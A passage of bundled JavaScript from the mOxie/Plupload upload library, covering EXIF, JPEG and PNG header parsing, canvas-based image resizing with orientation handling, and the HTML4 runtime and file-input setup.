'MultiSpot', 5: 'Pattern', 6: 'Partial', 255: 'Other' }, 'LightSource': { 1: 'Daylight', 2: 'Fliorescent', 3: 'Tungsten', 4: 'Flash', 9: 'Fine weather', 10: 'Cloudy weather', 11: 'Shade', 12: 'Daylight fluorescent (D 5700 - 7100K)', 13: 'Day white fluorescent (N 4600 -5400K)', 14: 'Cool white fluorescent (W 3900 - 4500K)', 15: 'White fluorescent (WW 3200 - 3700K)', 17: 'Standard light A', 18: 'Standard light B', 19: 'Standard light C', 20: 'D55', 21: 'D65', 22: 'D75', 23: 'D50', 24: 'ISO studio tungsten', 255: 'Other' }, 'Flash': { 0x0000: 'Flash did not fire', 0x0001: 'Flash fired', 0x0005: 'Strobe return light not detected', 0x0007: 'Strobe return light detected', 0x0009: 'Flash fired, compulsory flash mode', 0x000D: 'Flash fired, compulsory flash mode, return light not detected', 0x000F: 'Flash fired, compulsory flash mode, return light detected', 0x0010: 'Flash did not fire, compulsory flash mode', 0x0018: 'Flash did not fire, auto mode', 0x0019: 'Flash fired, auto mode', 0x001D: 'Flash fired, auto mode, return light not detected', 0x001F: 'Flash fired, auto mode, return light detected', 0x0020: 'No flash function', 0x0041: 'Flash fired, red-eye reduction mode', 0x0045: 'Flash fired, red-eye reduction mode, return light not detected', 0x0047: 'Flash fired, red-eye reduction mode, return light detected', 0x0049: 'Flash fired, compulsory flash mode, red-eye reduction mode', 0x004D: 'Flash fired, compulsory flash mode, red-eye reduction mode, return light not detected', 0x004F: 'Flash fired, compulsory flash mode, red-eye reduction mode, return light detected', 0x0059: 'Flash fired, auto mode, red-eye reduction mode', 0x005D: 'Flash fired, auto mode, return light not detected, red-eye reduction mode', 0x005F: 'Flash fired, auto mode, return light detected, red-eye reduction mode' }, 'ExposureMode': { 0: 'Auto exposure', 1: 'Manual exposure', 2: 'Auto bracket' }, 'WhiteBalance': { 0: 'Auto white balance', 1: 'Manual white balance' }, 'SceneCaptureType': { 0: 'Standard', 1: 'Landscape', 2: 'Portrait', 3: 'Night scene' }, 'Contrast': { 0: 'Normal', 1: 'Soft', 2: 'Hard' }, 'Saturation': { 0: 'Normal', 1: 'Low saturation', 2: 'High saturation' }, 'Sharpness': { 0: 'Normal', 1: 'Soft', 2: 'Hard' }, // GPS related 'GPSLatitudeRef': { N: 'North latitude', S: 'South latitude' }, 'GPSLongitudeRef': { E: 'East longitude', W: 'West longitude' } }; offsets = { tiffHeader: 10 }; idx = offsets.tiffHeader; __super__ = { clear: this.clear }; // Public functions Basic.extend(this, { read: function() { try { return ExifParser.prototype.read.apply(this, arguments); } catch (ex) { throw new x.ImageError(x.ImageError.INVALID_META_ERR); } }, write: function() { try { return ExifParser.prototype.write.apply(this, arguments); } catch (ex) { throw new x.ImageError(x.ImageError.INVALID_META_ERR); } }, UNDEFINED: function() { return this.BYTE.apply(this, arguments); }, RATIONAL: function(idx) { return this.LONG(idx) / this.LONG(idx + 4) }, SRATIONAL: function(idx) { return this.SLONG(idx) / this.SLONG(idx + 4) }, ASCII: function(idx) { return this.CHAR(idx); }, TIFF: function() { return Tiff || null; }, EXIF: function() { var Exif = null; if (offsets.exifIFD) { try { Exif = extractTags.call(this, offsets.exifIFD, tags.exif); } catch(ex) { return null; } // Fix formatting of some tags if (Exif.ExifVersion && Basic.typeOf(Exif.ExifVersion) === 'array') { for (var i = 0, exifVersion = ''; i < Exif.ExifVersion.length; i++) { exifVersion += String.fromCharCode(Exif.ExifVersion[i]); } Exif.ExifVersion = exifVersion; } } return Exif; }, GPS: function() { var GPS = null; if (offsets.gpsIFD) { try { GPS = extractTags.call(this, offsets.gpsIFD, tags.gps); } catch (ex) { return null; } // iOS devices (and probably some others) do not put in GPSVersionID tag (why?..) if (GPS.GPSVersionID && Basic.typeOf(GPS.GPSVersionID) === 'array') { GPS.GPSVersionID = GPS.GPSVersionID.join('.'); } } return GPS; }, thumb: function() { if (offsets.IFD1) { try { var IFD1Tags = extractTags.call(this, offsets.IFD1, tags.thumb); if ('JPEGInterchangeFormat' in IFD1Tags) { return this.SEGMENT(offsets.tiffHeader + IFD1Tags.JPEGInterchangeFormat, IFD1Tags.JPEGInterchangeFormatLength); } } catch (ex) {} } return null; }, setExif: function(tag, value) { // Right now only setting of width/height is possible if (tag !== 'PixelXDimension' && tag !== 'PixelYDimension') { return false; } return setTag.call(this, 'exif', tag, value); }, clear: function() { __super__.clear(); data = tags = tagDescs = Tiff = offsets = __super__ = null; } }); // Check if that's APP1 and that it has EXIF if (this.SHORT(0) !== 0xFFE1 || this.STRING(4, 5).toUpperCase() !== "EXIF\0") { throw new x.ImageError(x.ImageError.INVALID_META_ERR); } // Set read order of multi-byte data this.littleEndian = (this.SHORT(idx) == 0x4949); // Check if always present bytes are indeed present if (this.SHORT(idx+=2) !== 0x002A) { throw new x.ImageError(x.ImageError.INVALID_META_ERR); } offsets.IFD0 = offsets.tiffHeader + this.LONG(idx += 2); Tiff = extractTags.call(this, offsets.IFD0, tags.tiff); if ('ExifIFDPointer' in Tiff) { offsets.exifIFD = offsets.tiffHeader + Tiff.ExifIFDPointer; delete Tiff.ExifIFDPointer; } if ('GPSInfoIFDPointer' in Tiff) { offsets.gpsIFD = offsets.tiffHeader + Tiff.GPSInfoIFDPointer; delete Tiff.GPSInfoIFDPointer; } if (Basic.isEmptyObj(Tiff)) { Tiff = null; } // check if we have a thumb as well var IFD1Offset = this.LONG(offsets.IFD0 + this.SHORT(offsets.IFD0) * 12 + 2); if (IFD1Offset) { offsets.IFD1 = offsets.tiffHeader + IFD1Offset; } function extractTags(IFD_offset, tags2extract) { var data = this; var length, i, tag, type, count, size, offset, value, values = [], hash = {}; var types = { 1 : 'BYTE', 7 : 'UNDEFINED', 2 : 'ASCII', 3 : 'SHORT', 4 : 'LONG', 5 : 'RATIONAL', 9 : 'SLONG', 10: 'SRATIONAL' }; var sizes = { 'BYTE' : 1, 'UNDEFINED' : 1, 'ASCII' : 1, 'SHORT' : 2, 'LONG' : 4, 'RATIONAL' : 8, 'SLONG' : 4, 'SRATIONAL' : 8 }; length = data.SHORT(IFD_offset); // The size of APP1 including all these elements shall not exceed the 64 Kbytes specified in the JPEG standard. for (i = 0; i < length; i++) { values = []; // Set binary reader pointer to beginning of the next tag offset = IFD_offset + 2 + i*12; tag = tags2extract[data.SHORT(offset)]; if (tag === undefined) { continue; // Not the tag we requested } type = types[data.SHORT(offset+=2)]; count = data.LONG(offset+=2); size = sizes[type]; if (!size) { throw new x.ImageError(x.ImageError.INVALID_META_ERR); } offset += 4; // tag can only fit 4 bytes of data, if data is larger we should look outside if (size * count > 4) { // instead of data tag contains an offset of the data offset = data.LONG(offset) + offsets.tiffHeader; } // in case we left the boundaries of data throw an early exception if (offset + size * count >= this.length()) { throw new x.ImageError(x.ImageError.INVALID_META_ERR); } // special care for the string if (type === 'ASCII') { hash[tag] = Basic.trim(data.STRING(offset, count).replace(/\0$/, '')); // strip trailing NULL continue; } else { values = data.asArray(type, offset, count); value = (count == 1 ? values[0] : values); if (tagDescs.hasOwnProperty(tag) && typeof value != 'object') { hash[tag] = tagDescs[tag][value]; } else { hash[tag] = value; } } } return hash; } // At the moment only setting of simple (LONG) values, that do not require offset recalculation, is supported function setTag(ifd, tag, value) { var offset, length, tagOffset, valueOffset = 0; // If tag name passed translate into hex key if (typeof(tag) === 'string') { var tmpTags = tags[ifd.toLowerCase()]; for (var hex in tmpTags) { if (tmpTags[hex] === tag) { tag = hex; break; } } } offset = offsets[ifd.toLowerCase() + 'IFD']; length = this.SHORT(offset); for (var i = 0; i < length; i++) { tagOffset = offset + 12 * i + 2; if (this.SHORT(tagOffset) == tag) { valueOffset = tagOffset + 8; break; } } if (!valueOffset) { return false; } try { this.write(valueOffset, value, 4); } catch(ex) { return false; } return true; } } ExifParser.prototype = BinaryReader.prototype; return ExifParser; }); // Included from: src/javascript/runtime/html5/image/JPEG.js /** * JPEG.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /** @class moxie/runtime/html5/image/JPEG @private */ define("moxie/runtime/html5/image/JPEG", [ "moxie/core/utils/Basic", "moxie/core/Exceptions", "moxie/runtime/html5/image/JPEGHeaders", "moxie/runtime/html5/utils/BinaryReader", "moxie/runtime/html5/image/ExifParser" ], function(Basic, x, JPEGHeaders, BinaryReader, ExifParser) { function JPEG(data) { var _br, _hm, _ep, _info; _br = new BinaryReader(data); // check if it is jpeg if (_br.SHORT(0) !== 0xFFD8) { throw new x.ImageError(x.ImageError.WRONG_FORMAT); } // backup headers _hm = new JPEGHeaders(data); // extract exif info try { _ep = new ExifParser(_hm.get('app1')[0]); } catch(ex) {} // get dimensions _info = _getDimensions.call(this); Basic.extend(this, { type: 'image/jpeg', size: _br.length(), width: _info && _info.width || 0, height: _info && _info.height || 0, setExif: function(tag, value) { if (!_ep) { return false; // or throw an exception } if (Basic.typeOf(tag) === 'object') { Basic.each(tag, function(value, tag) { _ep.setExif(tag, value); }); } else { _ep.setExif(tag, value); } // update internal headers _hm.set('app1', _ep.SEGMENT()); }, writeHeaders: function() { if (!arguments.length) { // if no arguments passed, update headers internally return _hm.restore(data); } return _hm.restore(arguments[0]); }, stripHeaders: function(data) { return _hm.strip(data); }, purge: function() { _purge.call(this); } }); if (_ep) { this.meta = { tiff: _ep.TIFF(), exif: _ep.EXIF(), gps: _ep.GPS(), thumb: _getThumb() }; } function _getDimensions(br) { var idx = 0 , marker , length ; if (!br) { br = _br; } // examine all through the end, since some images might have very large APP segments while (idx <= br.length()) { marker = br.SHORT(idx += 2); if (marker >= 0xFFC0 && marker <= 0xFFC3) { // SOFn idx += 5; // marker (2 bytes) + length (2 bytes) + Sample precision (1 byte) return { height: br.SHORT(idx), width: br.SHORT(idx += 2) }; } length = br.SHORT(idx += 2); idx += length - 2; } return null; } function _getThumb() { var data = _ep.thumb() , br , info ; if (data) { br = new BinaryReader(data); info = _getDimensions(br); br.clear(); if (info) { info.data = data; return info; } } return null; } function _purge() { if (!_ep || !_hm || !_br) { return; // ignore any repeating purge requests } _ep.clear(); _hm.purge(); _br.clear(); _info = _hm = _ep = _br = null; } } return JPEG; }); // Included from: src/javascript/runtime/html5/image/PNG.js /** * PNG.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /** @class moxie/runtime/html5/image/PNG @private */ define("moxie/runtime/html5/image/PNG", [ "moxie/core/Exceptions", "moxie/core/utils/Basic", "moxie/runtime/html5/utils/BinaryReader" ], function(x, Basic, BinaryReader) { function PNG(data) { var _br, _hm, _ep, _info; _br = new BinaryReader(data); // check if it's png (function() { var idx = 0, i = 0 , signature = [0x8950, 0x4E47, 0x0D0A, 0x1A0A] ; for (i = 0; i < signature.length; i++, idx += 2) { if (signature[i] != _br.SHORT(idx)) { throw new x.ImageError(x.ImageError.WRONG_FORMAT); } } }()); function _getDimensions() { var chunk, idx; chunk = _getChunkAt.call(this, 8); if (chunk.type == 'IHDR') { idx = chunk.start; return { width: _br.LONG(idx), height: _br.LONG(idx += 4) }; } return null; } function _purge() { if (!_br) { return; // ignore any repeating purge requests } _br.clear(); data = _info = _hm = _ep = _br = null; } _info = _getDimensions.call(this); Basic.extend(this, { type: 'image/png', size: _br.length(), width: _info.width, height: _info.height, purge: function() { _purge.call(this); } }); // for PNG we can safely trigger purge automatically, as we do not keep any data for later _purge.call(this); function _getChunkAt(idx) { var length, type, start, CRC; length = _br.LONG(idx); type = _br.STRING(idx += 4, 4); start = idx += 4; CRC = _br.LONG(idx + length); return { length: length, type: type, start: start, CRC: CRC }; } } return PNG; }); // Included from: src/javascript/runtime/html5/image/ImageInfo.js /** * ImageInfo.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /** @class moxie/runtime/html5/image/ImageInfo @private */ define("moxie/runtime/html5/image/ImageInfo", [ "moxie/core/utils/Basic", "moxie/core/Exceptions", "moxie/runtime/html5/image/JPEG", "moxie/runtime/html5/image/PNG" ], function(Basic, x, JPEG, PNG) { /** Optional image investigation tool for HTML5 runtime. Provides the following features: - ability to distinguish image type (JPEG or PNG) by signature - ability to extract image width/height directly from it's internals, without preloading in memory (fast) - ability to extract APP headers from JPEGs (Exif, GPS, etc) - ability to replace width/height tags in extracted JPEG headers - ability to restore APP headers, that were for example stripped during image manipulation @class ImageInfo @constructor @param {String} data Image source as binary string */ return function(data) { var _cs = [JPEG, PNG], _img; // figure out the format, throw: ImageError.WRONG_FORMAT if not supported _img = (function() { for (var i = 0; i < _cs.length; i++) { try { return new _cs[i](data); } catch (ex) { // console.info(ex); } } throw new x.ImageError(x.ImageError.WRONG_FORMAT); }()); Basic.extend(this, { /** Image Mime Type extracted from it's depths @property type @type {String} @default '' */ type: '', /** Image size in bytes @property size @type {Number} @default 0 */ size: 0, /** Image width extracted from image source @property width @type {Number} @default 0 */ width: 0, /** Image height extracted from image source @property height @type {Number} @default 0 */ height: 0, /** Sets Exif tag. Currently applicable only for width and height tags. Obviously works only with JPEGs. @method setExif @param {String} tag Tag to set @param {Mixed} value Value to assign to the tag */ setExif: function() {}, /** Restores headers to the source. @method writeHeaders @param {String} data Image source as binary string @return {String} Updated binary string */ writeHeaders: function(data) { return data; }, /** Strip all headers from the source. @method stripHeaders @param {String} data Image source as binary string @return {String} Updated binary string */ stripHeaders: function(data) { return data; }, /** Dispose resources. @method purge */ purge: function() { data = null; } }); Basic.extend(this, _img); this.purge = function() { _img.purge(); _img = null; }; }; }); // Included from: src/javascript/runtime/html5/image/MegaPixel.js /** (The MIT License) Copyright (c) 2012 Shinichi Tomita <shinichi.tomita@gmail.com>; Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the 'Software'), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ /** * Mega pixel image rendering library for iOS6 Safari * * Fixes iOS6 Safari's image file rendering issue for large size image (over mega-pixel), * which causes unexpected subsampling when drawing it in canvas. * By using this library, you can safely render the image with proper stretching. * * Copyright (c) 2012 Shinichi Tomita <shinichi.tomita@gmail.com> * Released under the MIT license */ /** @class moxie/runtime/html5/image/MegaPixel @private */ define("moxie/runtime/html5/image/MegaPixel", [], function() { /** * Rendering image element (with resizing) into the canvas element */ function renderImageToCanvas(img, canvas, options) { var iw = img.naturalWidth, ih = img.naturalHeight; var width = options.width, height = options.height; var x = options.x || 0, y = options.y || 0; var ctx = canvas.getContext('2d'); if (detectSubsampling(img)) { iw /= 2; ih /= 2; } var d = 1024; // size of tiling canvas var tmpCanvas = document.createElement('canvas'); tmpCanvas.width = tmpCanvas.height = d; var tmpCtx = tmpCanvas.getContext('2d'); var vertSquashRatio = detectVerticalSquash(img, iw, ih); var sy = 0; while (sy < ih) { var sh = sy + d > ih ? ih - sy : d; var sx = 0; while (sx < iw) { var sw = sx + d > iw ? iw - sx : d; tmpCtx.clearRect(0, 0, d, d); tmpCtx.drawImage(img, -sx, -sy); var dx = (sx * width / iw + x) << 0; var dw = Math.ceil(sw * width / iw); var dy = (sy * height / ih / vertSquashRatio + y) << 0; var dh = Math.ceil(sh * height / ih / vertSquashRatio); ctx.drawImage(tmpCanvas, 0, 0, sw, sh, dx, dy, dw, dh); sx += d; } sy += d; } tmpCanvas = tmpCtx = null; } /** * Detect subsampling in loaded image. * In iOS, larger images than 2M pixels may be subsampled in rendering. */ function detectSubsampling(img) { var iw = img.naturalWidth, ih = img.naturalHeight; if (iw * ih > 1024 * 1024) { // subsampling may happen over megapixel image var canvas = document.createElement('canvas'); canvas.width = canvas.height = 1; var ctx = canvas.getContext('2d'); ctx.drawImage(img, -iw + 1, 0); // subsampled image becomes half smaller in rendering size. // check alpha channel value to confirm image is covering edge pixel or not. // if alpha value is 0 image is not covering, hence subsampled. return ctx.getImageData(0, 0, 1, 1).data[3] === 0; } else { return false; } } /** * Detecting vertical squash in loaded image. * Fixes a bug which squash image vertically while drawing into canvas for some images. */ function detectVerticalSquash(img, iw, ih) { var canvas = document.createElement('canvas'); canvas.width = 1; canvas.height = ih; var ctx = canvas.getContext('2d'); ctx.drawImage(img, 0, 0); var data = ctx.getImageData(0, 0, 1, ih).data; // search image edge pixel position in case it is squashed vertically. var sy = 0; var ey = ih; var py = ih; while (py > sy) { var alpha = data[(py - 1) * 4 + 3]; if (alpha === 0) { ey = py; } else { sy = py; } py = (ey + sy) >> 1; } canvas = null; var ratio = (py / ih); return (ratio === 0) ? 1 : ratio; } return { isSubsampled: detectSubsampling, renderTo: renderImageToCanvas }; }); // Included from: src/javascript/runtime/html5/image/Image.js /** * Image.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /** @class moxie/runtime/html5/image/Image @private */ define("moxie/runtime/html5/image/Image", [ "moxie/runtime/html5/Runtime", "moxie/core/utils/Basic", "moxie/core/Exceptions", "moxie/core/utils/Encode", "moxie/file/Blob", "moxie/file/File", "moxie/runtime/html5/image/ImageInfo", "moxie/runtime/html5/image/MegaPixel", "moxie/core/utils/Mime", "moxie/core/utils/Env" ], function(extensions, Basic, x, Encode, Blob, File, ImageInfo, MegaPixel, Mime, Env) { function HTML5Image() { var me = this , _img, _imgInfo, _canvas, _binStr, _blob , _modified = false // is set true whenever image is modified , _preserveHeaders = true ; Basic.extend(this, { loadFromBlob: function(blob) { var comp = this, I = comp.getRuntime() , asBinary = arguments.length > 1 ? arguments[1] : true ; if (!I.can('access_binary')) { throw new x.RuntimeError(x.RuntimeError.NOT_SUPPORTED_ERR); } _blob = blob; if (blob.isDetached()) { _binStr = blob.getSource(); _preload.call(this, _binStr); return; } else { _readAsDataUrl.call(this, blob.getSource(), function(dataUrl) { if (asBinary) { _binStr = _toBinary(dataUrl); } _preload.call(comp, dataUrl); }); } }, loadFromImage: function(img, exact) { this.meta = img.meta; _blob = new File(null, { name: img.name, size: img.size, type: img.type }); _preload.call(this, exact ? (_binStr = img.getAsBinaryString()) : img.getAsDataURL()); }, getInfo: function() { var I = this.getRuntime(), info; if (!_imgInfo && _binStr && I.can('access_image_binary')) { _imgInfo = new ImageInfo(_binStr); } info = { width: _getImg().width || 0, height: _getImg().height || 0, type: _blob.type || Mime.getFileMime(_blob.name), size: _binStr && _binStr.length || _blob.size || 0, name: _blob.name || '', meta: _imgInfo && _imgInfo.meta || this.meta || {} }; // store thumbnail data as blob if (info.meta && info.meta.thumb && !(info.meta.thumb.data instanceof Blob)) { info.meta.thumb.data = new Blob(null, { type: 'image/jpeg', data: info.meta.thumb.data }); } return info; }, downsize: function() { _downsize.apply(this, arguments); }, getAsCanvas: function() { if (_canvas) { _canvas.id = this.uid + '_canvas'; } return _canvas; }, getAsBlob: function(type, quality) { if (type !== this.type) { // if different mime type requested prepare image for conversion _downsize.call(this, this.width, this.height, false); } return new File(null, { name: _blob.name || '', type: type, data: me.getAsBinaryString.call(this, type, quality) }); }, getAsDataURL: function(type) { var quality = arguments[1] || 90; // if image has not been modified, return the source right away if (!_modified) { return _img.src; } if ('image/jpeg' !== type) { return _canvas.toDataURL('image/png'); } else { try { // older Geckos used to result in an exception on quality argument return _canvas.toDataURL('image/jpeg', quality/100); } catch (ex) { return _canvas.toDataURL('image/jpeg'); } } }, getAsBinaryString: function(type, quality) { // if image has not been modified, return the source right away if (!_modified) { // if image was not loaded from binary string if (!_binStr) { _binStr = _toBinary(me.getAsDataURL(type, quality)); } return _binStr; } if ('image/jpeg' !== type) { _binStr = _toBinary(me.getAsDataURL(type, quality)); } else { var dataUrl; // if jpeg if (!quality) { quality = 90; } try { // older Geckos used to result in an exception on quality argument dataUrl = _canvas.toDataURL('image/jpeg', quality/100); } catch (ex) { dataUrl = _canvas.toDataURL('image/jpeg'); } _binStr = _toBinary(dataUrl); if (_imgInfo) { _binStr = _imgInfo.stripHeaders(_binStr); if (_preserveHeaders) { // update dimensions info in exif if (_imgInfo.meta && _imgInfo.meta.exif) { _imgInfo.setExif({ PixelXDimension: this.width, PixelYDimension: this.height }); } // re-inject the headers _binStr = _imgInfo.writeHeaders(_binStr); } // will be re-created from fresh on next getInfo call _imgInfo.purge(); _imgInfo = null; } } _modified = false; return _binStr; }, destroy: function() { me = null; _purge.call(this); this.getRuntime().getShim().removeInstance(this.uid); } }); function _getImg() { if (!_canvas && !_img) { throw new x.ImageError(x.DOMException.INVALID_STATE_ERR); } return _canvas || _img; } function _toBinary(str) { return Encode.atob(str.substring(str.indexOf('base64,') + 7)); } function _toDataUrl(str, type) { return 'data:' + (type || '') + ';base64,' + Encode.btoa(str); } function _preload(str) { var comp = this; _img = new Image(); _img.onerror = function() { _purge.call(this); comp.trigger('error', x.ImageError.WRONG_FORMAT); }; _img.onload = function() { comp.trigger('load'); }; _img.src = str.substr(0, 5) == 'data:' ? str : _toDataUrl(str, _blob.type); } function _readAsDataUrl(file, callback) { var comp = this, fr; // use FileReader if it's available if (window.FileReader) { fr = new FileReader(); fr.onload = function() { callback(this.result); }; fr.onerror = function() { comp.trigger('error', x.ImageError.WRONG_FORMAT); }; fr.readAsDataURL(file); } else { return callback(file.getAsDataURL()); } } function _downsize(width, height, crop, preserveHeaders) { var self = this , scale , mathFn , x = 0 , y = 0 , img , destWidth , destHeight , orientation ; _preserveHeaders = preserveHeaders; // we will need to check this on export (see getAsBinaryString()) // take into account orientation tag orientation = (this.meta && this.meta.tiff && this.meta.tiff.Orientation) || 1; if (Basic.inArray(orientation, [5,6,7,8]) !== -1) { // values that require 90 degree rotation // swap dimensions var tmp = width; width = height; height = tmp; } img = _getImg(); // unify dimensions if (!crop) { scale = Math.min(width/img.width, height/img.height); } else { // one of the dimensions may exceed the actual image dimensions - we need to take the smallest value width = Math.min(width, img.width); height = Math.min(height, img.height); scale = Math.max(width/img.width, height/img.height); } // we only downsize here if (scale > 1 && !crop && preserveHeaders) { this.trigger('Resize'); return; } // prepare canvas if necessary if (!_canvas) { _canvas = document.createElement("canvas"); } // calculate dimensions of proportionally resized image destWidth = Math.round(img.width * scale); destHeight = Math.round(img.height * scale); // scale image and canvas if (crop) { _canvas.width = width; _canvas.height = height; // if dimensions of the resulting image still larger than canvas, center it if (destWidth > width) { x = Math.round((destWidth - width) / 2); } if (destHeight > height) { y = Math.round((destHeight - height) / 2); } } else { _canvas.width = destWidth; _canvas.height = destHeight; } // rotate if required, according to orientation tag if (!_preserveHeaders) { _rotateToOrientaion(_canvas.width, _canvas.height, orientation); } _drawToCanvas.call(this, img, _canvas, -x, -y, destWidth, destHeight); this.width = _canvas.width; this.height = _canvas.height; _modified = true; self.trigger('Resize'); } function _drawToCanvas(img, canvas, x, y, w, h) { if (Env.OS === 'iOS') { // avoid squish bug in iOS6 MegaPixel.renderTo(img, canvas, { width: w, height: h, x: x, y: y }); } else { var ctx = canvas.getContext('2d'); ctx.drawImage(img, x, y, w, h); } } /** * Transform canvas coordination according to specified frame size and orientation * Orientation value is from EXIF tag * @author Shinichi Tomita <shinichi.tomita@gmail.com> */ function _rotateToOrientaion(width, height, orientation) { switch (orientation) { case 5: case 6: case 7: case 8: _canvas.width = height; _canvas.height = width; break; default: _canvas.width = width; _canvas.height = height; } /** 1 = The 0th row is at the visual top of the image, and the 0th column is the visual left-hand side. 2 = The 0th row is at the visual top of the image, and the 0th column is the visual right-hand side. 3 = The 0th row is at the visual bottom of the image, and the 0th column is the visual right-hand side. 4 = The 0th row is at the visual bottom of the image, and the 0th column is the visual left-hand side. 5 = The 0th row is the visual left-hand side of the image, and the 0th column is the visual top. 6 = The 0th row is the visual right-hand side of the image, and the 0th column is the visual top. 7 = The 0th row is the visual right-hand side of the image, and the 0th column is the visual bottom. 8 = The 0th row is the visual left-hand side of the image, and the 0th column is the visual bottom. */ var ctx = _canvas.getContext('2d'); switch (orientation) { case 2: // horizontal flip ctx.translate(width, 0); ctx.scale(-1, 1); break; case 3: // 180 rotate left ctx.translate(width, height); ctx.rotate(Math.PI); break; case 4: // vertical flip ctx.translate(0, height); ctx.scale(1, -1); break; case 5: // vertical flip + 90 rotate right ctx.rotate(0.5 * Math.PI); ctx.scale(1, -1); break; case 6: // 90 rotate right ctx.rotate(0.5 * Math.PI); ctx.translate(0, -height); break; case 7: // horizontal flip + 90 rotate right ctx.rotate(0.5 * Math.PI); ctx.translate(width, -height); ctx.scale(-1, 1); break; case 8: // 90 rotate left ctx.rotate(-0.5 * Math.PI); ctx.translate(-width, 0); break; } } function _purge() { if (_imgInfo) { _imgInfo.purge(); _imgInfo = null; } _binStr = _img = _canvas = _blob = null; _modified = false; } } return (extensions.Image = HTML5Image); }); /** * Stub for moxie/runtime/flash/Runtime * @private */ define("moxie/runtime/flash/Runtime", [ ], function() { return {}; }); /** * Stub for moxie/runtime/silverlight/Runtime * @private */ define("moxie/runtime/silverlight/Runtime", [ ], function() { return {}; }); // Included from: src/javascript/runtime/html4/Runtime.js /** * Runtime.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /*global File:true */ /** Defines constructor for HTML4 runtime. @class moxie/runtime/html4/Runtime @private */ define("moxie/runtime/html4/Runtime", [ "moxie/core/utils/Basic", "moxie/core/Exceptions", "moxie/runtime/Runtime", "moxie/core/utils/Env" ], function(Basic, x, Runtime, Env) { var type = 'html4', extensions = {}; function Html4Runtime(options) { var I = this , Test = Runtime.capTest , True = Runtime.capTrue ; Runtime.call(this, options, type, { access_binary: Test(window.FileReader || window.File && File.getAsDataURL), access_image_binary: false, display_media: Test(extensions.Image && (Env.can('create_canvas') || Env.can('use_data_uri_over32kb'))), do_cors: false, drag_and_drop: false, filter_by_extension: Test(function() { // if you know how to feature-detect this, please suggest return (Env.browser === 'Chrome' && Env.verComp(Env.version, 28, '>=')) || (Env.browser === 'IE' && Env.verComp(Env.version, 10, '>=')) || (Env.browser === 'Safari' && Env.verComp(Env.version, 7, '>=')); }()), resize_image: function() { return extensions.Image && I.can('access_binary') && Env.can('create_canvas'); }, report_upload_progress: false, return_response_headers: false, return_response_type: function(responseType) { if (responseType === 'json' && !!window.JSON) { return true; } return !!~Basic.inArray(responseType, ['text', 'document', '']); }, return_status_code: function(code) { return !Basic.arrayDiff(code, [200, 404]); }, select_file: function() { return Env.can('use_fileinput'); }, select_multiple: false, send_binary_string: false, send_custom_headers: false, send_multipart: true, slice_blob: false, stream_upload: function() { return I.can('select_file'); }, summon_file_dialog: function() { // yeah... some dirty sniffing here... return I.can('select_file') && ( (Env.browser === 'Firefox' && Env.verComp(Env.version, 4, '>=')) || (Env.browser === 'Opera' && Env.verComp(Env.version, 12, '>=')) || (Env.browser === 'IE' && Env.verComp(Env.version, 10, '>=')) || !!~Basic.inArray(Env.browser, ['Chrome', 'Safari']) ); }, upload_filesize: True, use_http_method: function(methods) { return !Basic.arrayDiff(methods, ['GET', 'POST']); } }); Basic.extend(this, { init : function() { this.trigger("Init"); }, destroy: (function(destroy) { // extend default destroy method return function() { destroy.call(I); destroy = I = null; }; }(this.destroy)) }); Basic.extend(this.getShim(), extensions); } Runtime.addConstructor(type, Html4Runtime); return extensions; }); // Included from: src/javascript/runtime/html4/file/FileInput.js /** * FileInput.js * * Copyright 2013, Moxiecode Systems AB * Released under GPL License. * * License: http://www.plupload.com/license * Contributing: http://www.plupload.com/contributing */ /** @class moxie/runtime/html4/file/FileInput @private */ define("moxie/runtime/html4/file/FileInput", [ "moxie/runtime/html4/Runtime", "moxie/file/File", "moxie/core/utils/Basic", "moxie/core/utils/Dom", "moxie/core/utils/Events", "moxie/core/utils/Mime", "moxie/core/utils/Env" ], function(extensions, File, Basic, Dom, Events, Mime, Env) { function FileInput() { var _uid, _mimes = [], _options; function addInput() { var comp = this, I = comp.getRuntime(), shimContainer, browseButton, currForm, form, input, uid; uid = Basic.guid('uid_'); shimContainer = I.getShimContainer(); // we get new ref everytime to avoid memory leaks in IE if (_uid) { // move previous form out of the view currForm = Dom.get(_uid + '_form'); if (currForm) { Basic.extend(currForm.style, { top: '100%' }); } } // build form in DOM, since innerHTML version not able to submit file for some reason form = document.createElement('form'); form.setAttribute('id', uid + '_form'); form.setAttribute('method', 'post'); form.setAttribute('enctype', 'multipart/form-data'); form.setAttribute('encoding', 'multipart/form-data'); Basic.extend(form.style, { overflow: 'hidden', position: 'absolute', top: 0, left: 0, width: '100%', height: '100%' }); input = document.createElement('input'); input.setAttribute('id', uid); input.setAttribute('type', 'file'); input.setAttribute('name', _options.name || 'Filedata'); input.setAttribute('accept', _mimes.join(',')); Basic.extend(input.style, { fontSize: '999px', opacity: 0 }); form.appendChild(input); shimContainer.appendChild(form); // prepare file input to be placed underneath the browse_button element Basic.extend(input.style, { position: 'absolute', top: 0, left: 0, width: '100%', height: '100%' }); if (Env.browser === 'IE' && Env.verComp(Env.version, 10, '<')) { Basic.extend(input.style, { filter : 